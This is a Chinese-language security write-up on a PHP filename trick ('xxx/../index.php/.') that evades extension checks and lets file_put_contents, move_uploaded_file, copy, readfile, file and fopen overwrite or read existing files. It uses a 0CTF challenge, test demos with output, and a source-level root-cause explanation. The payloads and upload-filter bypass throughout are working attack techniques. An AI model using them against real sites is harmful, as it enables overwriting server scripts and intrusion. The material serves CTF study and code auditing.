move_uploaded_file, file_put_contents,copy,readfile,file,fopen都存在的一种特殊文件名的写入技巧
$name = "index.php/.";
$name1 = "xxx/../index.php/.";
对于这两种文件名,如果我们用is_file函数判断,发现都是false,即判断为不是文件或文件不存在。
但上面这些函数判断的时候会认为$name文件不存在,但$name1文件存在,从而可能导致一些特殊的文件读取或者文件写入的漏洞。
$name = $_GET['name'];
$content = $_GET['content'];
$filename = $_FILES['file']['name'];
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die();
}
file_put_contents($name,$content);
paylaod:
file_put_contents("1.php/../1.php", 'fff');
file_put_contents("2.php/.", 'fff'); //写入新文件,无法覆盖
file_put_contents(""xxx/../index.php/."fff"); //可以覆盖旧文件
0ctf 上面的一道题目
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break;
}
echo 'upload file';
if ($_FILES['file']['size'] > 100000) {
clear($dir);
break;
}
$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
echo 'pass one';
move_uploaded_file($_FILES['file']['tmp_name'], $name);
pathinfo 函数可以用/.
来绕过,取出来的后缀为空
move_uploaded_file函数无法写入index.php/.
文件,执行函数报错但可以写入xxx/../index.php/.
这样来绕过重写index.php
测试demo:
<?php
$name = "index.php/."; //覆盖index.php失败,报warning
$name1 = "xxx/../index.php/."; //覆盖index.php成功
move_uploaded_file($_FILES['file']['tmp_name'], $name1);
?>
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<form action="#" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit">
</form>
</body>
</html>
注意move_uploaded_file 会判断是否为post上传的文件。
php.net上的解释
bool copy ( string $source , string $dest [, resource $context ] )
将文件从 source 拷贝到 dest。如果 dest 是一个 URL,则如果封装协议不支持覆盖已有的文件时拷贝操作会失败。
如果目标文件已存在,将会被覆盖。
test.php
$name = "./index.php";
$dest = "xxx/../ttt.php/.";
copy($name,$dest);
$name = "index.php/.";
$name1 = "xxx/../index.php/.";
readfile($name);
readfile($name1);
>>>
PHP Warning: readfile(index.php/.): failed to open stream: No such file or directory in /mnt/hgfs/F/sublime/php/audit/4/file_put_content.php on line 8
ffffffffffff
同readfile函数
$name = "index.php/.";
$name1 = "xxx/../index.php/.";
file($name1); //$name 读文件失败
array(1) {
[0]=>
string(12) "ffffffffffff"
}
$name = "index.php/.";
$name1 = "xxx/../index.php/.";
$f = fopen($name,'w');fwrite($f,'ffff'); //报错
$f = fopen($name1,'w');fwrite($f,'ffffffffffff'); //写入成功
通过之前大佬对file_put_contents函数的分析http://wonderkun.cc/index.html/?paged=5
可知php源码的_php_stream_open_wrapper_ex
函数存在问题,而上面这些函数都直接或间接调用了这个函数,导致了这种文件名可以识别成功。
move_uploaded_file 和copy函数调用了
php_copy_file_ctx
函数,fopen调用了php_if_fopen
这两个函数内部是调用了_php_stream_open_wrapper_ex
了的。